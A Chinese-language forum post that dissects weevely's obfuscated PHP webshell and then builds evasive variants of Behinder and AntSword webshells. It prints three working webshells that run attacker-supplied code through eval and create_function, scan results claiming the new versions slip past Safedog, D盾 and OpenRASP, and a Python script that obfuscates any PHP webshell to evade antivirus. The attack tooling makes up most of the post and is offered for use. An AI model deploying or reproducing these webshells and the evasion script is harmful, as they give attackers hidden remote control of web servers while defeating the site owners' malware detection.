本文主要分析了weevely的webshell构成,从中学习思路制作免杀脚本,实现冰蝎/蚁剑免杀

1. weevely使用

根据语法,生成我们要使用的webshell,然后将生成的webshell文件上传至目标网站服务器

weevely基础语法如下,其他指令可自行查阅,本文不再涉及:


2. weevely生成的webshell

<?php
$i='p="PY16bXfpTDNaKhZyiy";fhZuhZhZnctiohZn x($hZt,$k){$c=strlhZen($k);$l=hZstrh';
$d='Zlen($t);$hZhZo="hZ";for(hZ$i=0;$i<$l;){forhZ($hZj=0;(hZhZ$j<$hZc&&$i';
$g='g_match("hZ/hZ$kh(.+)$kf/",@fihZlhZhZehZ_gehZt_contentshZ("php://ihZnp';
$P='<$l);$j++hZ,$i++hZ){$hZo.=hZ$t{hZ$i}^hZ$k{$j};}}return $ohZhZ;}if (@prhZe';
$X=str_replace('hP','','chPreathPe_hPfuhPnhPcthPion');
$t='asehZ64_enhZcodhZe(@hZx(@gzhZcomprehZss($ohZ),$k)hZ);prhZint("$p$kh$r$kf");}';
$A='$k=hZ"9e94b15hZe";$kh=hZ"d312fahZ4223hZ2f";$khZf="d87ahZ55db0hZd39hZ";$hZ';
$u='uthZ"),$m)==1) {hZ@ob_hZstart();@evhZal(@hZgzuncomprehZsshZ(@x(@basehZ64_hZdecod';
$h='e($m[1]hZ),$k)))hZ;$ohZ=@ohZb_gethZ_contents()hZ;hZ@ob_hZend_clean()hZ;$r=@b';
$D=str_replace('hZ','',$A.$i.$d.$P.$g.$u.$h.$t);
$G=$X('',$D);$G();
?>

3. 分析:

从以上代码中摘出来一些比较易懂的参数

从上图可以看出研究的重点是$D拼接出的字符串,整理后得到如下代码:

$k="9e94b15e";  
$kh="d312fa42232f"; 
$kf="d87ahZ55db0d39"; 
$p="PY16bXfpTDNaKyiy";

function x($t,$k) 
{
    $c=strlen($k); 
    $l=strlen($t);
    $o="";
    for($i=0;$i<$l;)
    {
        for($j=0;($j<$c&&$i<$l);$j++,$i++)
        {
            $o.=$t{$i}^$k{$j};
        }
    }
    return $o; 
}

if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1)
{
    @ob_start();
    @eval(@gzuncompress(@x(@base64_decode($m[1]),$k)));
    $o=@ob_get_contents();
    @ob_end_clean();
    $r=@base64_encode(@x(@gzcompress($o),$k));
    print("$p$kh$r$kf");

我们把它分为三类:

+已定义参数

+自定义函数

+重要部分

3.1 已定义参数:

$k="9e94b15e";  
$kh="d312fa42232f"; 
$kf="d87a55db0d39"; 
$p="PY16bXfpTDNaKyiy";

生成规律:

根据密码生成$k、$kh和$kf这三个参数的值,不论密码怎么变,$k、$kh和$kf这三个参数名称不变。

$p在返回已获取信息时才会用到。

3.2 自定义函数:

function x($t,$k) 
{
    $c=strlen($k); 
    $l=strlen($t);
    $o="";
    for($i=0;$i<$l;)
    {
        for($j=0;($j<$c&&$i<$l);$j++,$i++)
        {
            $o.=$t{$i}^$k{$j};
        }
    }
    return $o; 
}

3.3 重要部分:

if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1)
{
    @ob_start();
    @eval(@gzuncompress(@x(@base64_decode($m[1]),$k)));
    $o=@ob_get_contents();
    @ob_end_clean();
    $r=@base64_encode(@x(@gzcompress($o),$k));
    print("$p$kh$r$kf");
}

关于重要部分的作用及运行流程可参见下图:

网上对于缓冲区的解释:

当执行PHP的时候,如果碰到了echo print_r之类的会输出数据的代码,PHP就会将要输出的数据放到PHP自身的缓冲区,等待输出。

当PHP自身的缓冲区接到指令,指示要输出缓冲区的内容时,将会把缓冲区内的数据输出到apache上,apache接受到PHP输出的数据,然后再把该数据存在到apache自身的缓冲区内,等到输出。

举例:

ob_end_clean()只会清除缓冲区的内容,并将缓冲区关闭,不会输出内容,如果要在缓冲区关闭前获取缓冲区内容,需要ob_get_contents()


接下来针对流程中的三个关键内容进行分析:

3.3.1获取加密payload:

用Wireshark看weevely发出的流量:

我们通过已定义的参数$kh和$kf的值找到了经过加密的payload。

3.3.2 解密并运行payload

代码的具体实现过程:

为什么在“解密并运行payload”中要用$m[1]?

这里详细说明一下自定义函数x的运行过程:

可以从调试过程中看到,$c=8,代表$k的长度,$l=27代表$m[1]的长度,这里用$t来代表$m[1]。

$i<$l(27)时,外循环进行

$j<$c(8)$i<$l(27)时,内循环进行异或当操作。

内循环第一次结束时,$j=8$l=8,此时外循环不满足结束条件,所以又进行内循环,此时$j被重置,所以$j=0$l=8

第二次内循环结束时,$j=8$l=16,同理类推。

当内循环不满足$j<$c(8)$i<$l(27)时,跳出内循环

此时外循环$i<$l(27)不满足,跳出外循环。

3.3.3 加密返回信息

这一步的作用在于防止流量返回时遭到查杀,解密的过程由weevely本地完成,即反解下面代码:

$k="9e94b15e";  
$kh="d312fa42232f"; 
$kf="d87a55db0d39"; 
$p="PY16bXfpTDNaKyiy";

$r=@base64_encode(@x(@gzcompress($o),$k));
print("$p$kh$r$kf");

如果想自己解密可以遵循以下步骤:

  1. 正则匹配去除干扰字符串
  2. base64解码
  3. 反运行自定义函数x
  4. gzuncompress解压

4. weevely的webshell总结:

作者是如何躲过静态查杀和流量查杀的?

  • 使用str_replace()进行字符串拼接
  • base64加密/解密
  • 自定义函数加密/解密
  • 使用gzuncompress()和gzcompress()

以上就是$D参数中的内容,weevely通过调用create_function()调用以上代码。


5. weevely改进思路:

  1. 原生webshell中,使用了硬编码(如hP/hZ)来混淆敏感字符串(如create_function),从防御方的角度来看,只需要动态执行一下该php的代码,即可获取到对应的明文

我们可以在冰蝎/蚁剑连接webshell时设置特定http头,动态传递要被replace的字符,以增强其隐蔽性,具体应用在后续的“冰蝎和蚁剑改进版”中可以看到。

  1. 当杀毒软件发现我们解密了一个字符串,并把它当成函数来调用时(如$G=$X('',$D);$G();),也会触发查杀行为

    我们可以使用$GLOBALS减弱已解密字符串与函数调用的关系,绕过查杀


6. 冰蝎默认shell查杀结果

杀毒软件 测试结果
安全狗 未通过
D盾 3级可疑
OpenRASPWEBDIR+检测引擎 未通过


7. 冰蝎改进版:

<?php
$b =$_SERVER['HTTP_REFERER'];
$c = explode('.',$b);
$interfere_str =$c[2];
$KXT='@jPerjPrjPorjP_jPrejPpjPorjPtjPinjPgjP(0jP)jP;sjPejPssjPijPonjP_jPstjPajPrtjP';
$dlJ='(jP);jP jP  jP jP$kjPejPy=jP"jPe4jP5jPe3jP2jP9fjPejPb5jPdjP92jP5jPb"jP;jP$_jPSjP';
$fqw='ESjPSjPIOjPNjP["jPkjP"]jP=jP$kjPejPy;jPsjPesjPsjPiojPnjP_wjPrjPitjPejP_cjPljPosj';
$trq='PejP()jP;jP$pjPojPstjP=jPfijPljPe_jPgjPetjP_jPcojPnjPtejPnjPtsjP(jP"pjPhjPp:jP/j';
$NJu='P/ijPnjPpujPtjP")jP;jPifjP(jP!ejPxjPtejPnjPsijPojPn_jPljPoajPdjPedjP(jP"ojPpjPen';
$dAt='jPsjPsljP"jP))jP{jP$tjP=jP"bjPajPsejP6jP4_jP"jP."jPdjPecjPojPdejP"jP;$jPpjPosjPt';
$ZGT='jP=$jPtjP($jPpjPosjPtjP."jP"jP);jPfjPorjP(jP$ijP=jP0;jP$jPi<jPsjPtrjPljPenjP(jP$';
$Npc='pjPojPstjP)jP;$jPijP++jP)jP {jP jP  jP jP $jPpjPosjPtjP[$jPijP] jP=jP $jPpjPosjP';
$Vnd='tjP[$jPijP]^jP$jPkejPyjP[$jPijP+1jP&jP15jP]jP; jP jP  jP jP}}jPejPlsjPejP{$jPpjP';
$Crm='osjPtjP=ojPpjPenjPsjPsljP_jPdejPcjPryjPpjPt(jP$jPpojPsjPt,jP jP"AjPEjPS1jP2jP8"j';
$JDw='P,jP $jPkjPeyjP)jP;}jP jP  jP jP$ajPrjPr=jPejPxpjPljPodjPejP("jP|jP",jP$jPpojPsj';
$GZd='Pt)jP;jP  jP jP $jPfjPunjPcjP=$jPajPrrjP[jP0]jP;jP  jP jP $jPpjParjPajPmsjP=jP$a';
$nvY='jPrjPr[jP1jP];jPcjPlajPsjPs jPCjP{pjPujPbljPijPc jPfjPunjPcjPtijPojPn jP_jP_ijPn';
$EVA='jPvojPkjPe(jP$jPp)jP jP{ejPvjPaljP(jP$pjP.jP""jP)jP;}jP}jP  jP jP @jPcjPaljPljP_';
$hVb='ujPsjPerjP_jPfujPnjPc(jPnjPewjP jPC(jP)jP,$jPpjParjPajPms);';
$l=str_replace($interfere_str,'',$KXT.$dlJ.$fqw.$trq.$NJu.$dAt.$ZGT.$Npc.$Vnd.$Crm.$JDw.$GZd.$nvY.$EVA.$hVb);
$k=str_replace($interfere_str,'','crejPatjPe_fujPncjPtiojPn');
$bb = $GLOBALS['k']('',$l);
$GLOBALS["bb"]();
?>

7.1 运行成功:

7.2 冰蝎改进版查杀结果:

杀毒软件 测试结果
安全狗 通过
D盾 通过
OpenRASPWEBDIR+检测引擎 通过


8. 蚁剑默认shell查杀结果

杀毒软件 测试结果
安全狗 通过
D盾 5级可疑
OpenRASPWEBDIR+检测引擎 未通过


9. 蚁剑改进版

<?php
$b =$_SERVER['HTTP_REFERER'];
$c = explode('.',$b);
$interfere_str =$c[2];
$Tzu='cjPlajPsjPs jPBjPWOjPTjP {jP jP  jP jPfujPnjPctjPijPonjP jPvHjPEjPv(jP)jP {jP';
$LRu=' jP  jP jP  jP jP $jPZjPwwjPGjP =jP jP"\jPxjP2cjP"jP ^jP jP"\jPxjP4djP"jP; jP jP';
$lST='  jP jP  jP jP$ojPJjPtQjP jP= jP"jP\xjP3jP5"jP jP^ jP"jP\xjP4jP6"jP;jP  jP jP  j';
$ueP='P jP  jP$jPQGjPnjPz jP=jP "jP\jPx3jPfjP" jP^jP "jP\jPx4jPcjP";jP jP  jP jP  jP j';
$OzQ='P $jPpjPCnjPujP =jP jP"\jPxjP90jP"jP ^jP jP"\jPxjPf5jP"jP; jP jP  jP jP  jP jP$Q';
$SNC='jPgjPYVjP jP= jP"jP\xjPejP0"jP jP^ jP"jP\xjP9jP2"jP;jP  jP jP  jP jP  jP$jPfijPf';
$kYh='jPW jP=jP "jP\jPxbjP4jP" jP^jP "jP\jPxcjP0jP";jP jP  jP jP  jP jP $jPjjPlXjPejP ';
$nGB='=jP$jPZwjPwjPG.jP$jPoJjPtjPQ.jP$jPQGjPnjPz.jP$jPpCjPnjPu.jP$jPQgjPYjPV.jP$jPfijP';
$xIt='fjPW;jP jP  jP jP  jP jP rjPejPtujPrjPn jP$jPjljPXjPe;jP jP  jP jP} jP jP  jPfjP';
$mgE='unjPcjPtijPojPn jP_jP_djPejPstjPrjPucjPtjP()jP{jP  jP jP  jP jP  jP$jPssjPTjPm=j';
$mHk='P$jPthjPijPs-jP>jPvHjPEjPv(jP)jP; jP jP  jP jP  jP jP@$jPsjPsTjPmjP($jPtjPhijPsj';
$xRg='P->jPljPT)jP;jP  jP jP }jP}jP$bjPwjPotjP jP= jPnjPewjP jPBWjPOjPT(jP)jP;@jP$jPbw';
$olX='jPojPt-jP>jPlTjP jP= jPijPssjPejPt(jP$jP_GjPEjPT[jP"jPidjP"jP])jP?jPbajPsjPe6jP4';
$gdc='jP_djPejPcojPdjPe(jP$jP_PjPOjPSTjP[jP"mjPrjP6"jP]jP):jP$jP_PjPOjPSTjP[jP"mjPrjP6';
$Leb='"];';
$l=str_replace($interfere_str,'',$Tzu.$LRu.$lST.$ueP.$OzQ.$SNC.$kYh.$nGB.$xIt.$mgE.$mHk.$xRg.$olX.$gdc.$Leb);
$k=str_replace($interfere_str,'','crejPatjPe_fujPncjPtiojPn');
$bb = $GLOBALS['k']('',$l);
$GLOBALS["bb"]();
?>

9.1 运行成功:

9.2 查杀结果

杀毒软件 查杀结果
安全狗 通过
D盾 通过
OpenRASPWEBDIR+检测引擎 通过


10. 免杀脚本:

使用时请注意注释内容

#!/usr/bin/python3
import random
import string

#这里输自定义干扰字符
add_interfere_str='sTr' 

#发送webshell时记得传Referer的值,比如:Referer: https://developer.mozilla.sTr.org/testpage.html,其中sTr就是干扰字符,之后过滤要用到

def read_check():
    open_file = open('shell.php', 'r')  #将shell.php替换为要转换的webshell文件名
    read_file = open_file.readlines()
    file = ''.join(read_file)  
    file = file.replace("'", '"').replace('\n', '').replace('\t', '')
    if file.startswith('<?php'):  
        file = file.lstrip('<?php')
        file = file.rstrip('?>')
    else:
        print('这不是php代码')
    return file

def interfere(file):
    add_str = ''
    rest_str = ''
    num = 0
    for i in file:
        num += 1
        if num == 3:   # 间隔3个字符输入干扰,可自行替换
            add_results = add_interfere_str.join(rest_str)
            add_str += add_results
            rest_str = ''
            num = 0
        rest_str += i
    add_str += rest_str


    temp_str = ''
    array_str = []
    for i in add_str:
        num += 1
        if num == 80: # 每隔80个字符分割字符串,可自行替换
            array_str.append(temp_str)
            temp_str = ''
            num = 0
        temp_str += i
    array_str.append(temp_str)
    return array_str

def var_name(array_str):
    var_collect = []
    array_add = []
    for c in array_str:
        random_str = ''.join(random.sample(string.ascii_letters, 3))
        add_sentence = '$' + random_str + '=' + "'" + c + "'" + ";"
        array_add.append(add_sentence)
        var_collect.append(random_str)
    return array_add,var_collect

def splicing(var_collect):
    splicing_sentence = ''
    for i in var_collect:
        var_sentence = '.' + '$' + i
        splicing_sentence += var_sentence
    final = splicing_sentence.lstrip('.')
    return final

def str_print(array_add,final):

    a ='<?php'
    b = "$b =$_SERVER['HTTP_REFERER'];"
    c = "$c = explode('.',$b);"
    interfere_str = "$interfere_str =$c[2]; "
    print(a+'\n'+b+'\n'+c+'\n'+interfere_str)


    for i in array_add:
        print(i)

    #变量名为自定义,都可替换
    l = "$l" + "=" + "str_replace($interfere_str,'',%s);" % (final)
    k = "$k=str_replace($interfere_str,'','cre%sat%se_fu%snc%stio%sn');" % (add_interfere_str,add_interfere_str,add_interfere_str,add_interfere_str,add_interfere_str)
    bb = "$bb = $GLOBALS['k']('',$l); "
    ee = '$GLOBALS["bb"]();'
    print(l+'\n'+k+'\n'+bb+'\n'+ee+'\n'+'?>')

def main():
    file = read_check()
    array_str = interfere(file)
    array_add,var_collect = var_name(array_str)
    final = splicing(var_collect)
    str_print(array_add,final)

if __name__ == '__main__':
    main()

点击收藏 | 10 关注 | 6
登录 后跟帖